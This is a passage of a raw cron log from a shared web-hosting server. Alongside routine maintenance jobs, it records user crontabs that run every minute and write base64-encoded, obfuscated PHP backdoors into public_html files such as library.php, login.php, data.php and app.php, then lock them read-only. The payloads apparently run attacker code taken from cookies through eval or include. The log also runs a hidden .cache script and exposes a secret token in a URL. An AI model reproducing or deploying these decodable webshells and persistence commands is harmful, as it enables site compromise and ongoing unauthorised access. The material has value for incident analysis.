ildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:48:02 medusa CROND[28012]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:48:02 medusa CROND[28013]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:48:02 medusa CROND[28017]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 09:48:02 medusa CROND[28019]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:48:02 medusa CROND[28011]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:48:02 medusa CROND[28020]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:48:02 medusa CROND[28021]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:49:02 medusa CROND[17659]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:49:02 medusa CROND[17737]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:49:02 medusa CROND[17738]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:49:02 medusa CROND[17740]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:49:02 medusa CROND[17741]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:49:02 medusa CROND[17743]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:49:02 medusa CROND[17744]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:49:02 medusa CROND[17748]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 09:49:02 medusa CROND[17749]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:49:02 medusa CROND[17750]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:49:02 medusa CROND[17752]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:49:02 medusa CROND[17756]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:50:01 medusa CROND[7035]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 09:50:01 medusa CROND[7102]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 09:50:01 medusa CROND[7163]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 09:50:01 medusa CROND[7164]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 09:50:01 medusa CROND[7166]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:50:01 medusa CROND[7167]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 09:50:01 medusa CROND[7172]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 09:50:01 medusa CROND[7173]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 09:50:01 medusa CROND[7174]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 09:50:01 medusa CROND[7177]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:50:01 medusa CROND[7178]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 09:50:01 medusa CROND[7180]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:50:01 medusa CROND[7183]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 09:50:01 medusa CROND[7175]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 09:50:01 medusa CROND[7186]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:50:01 medusa CROND[7187]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 09:50:01 medusa CROND[7181]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
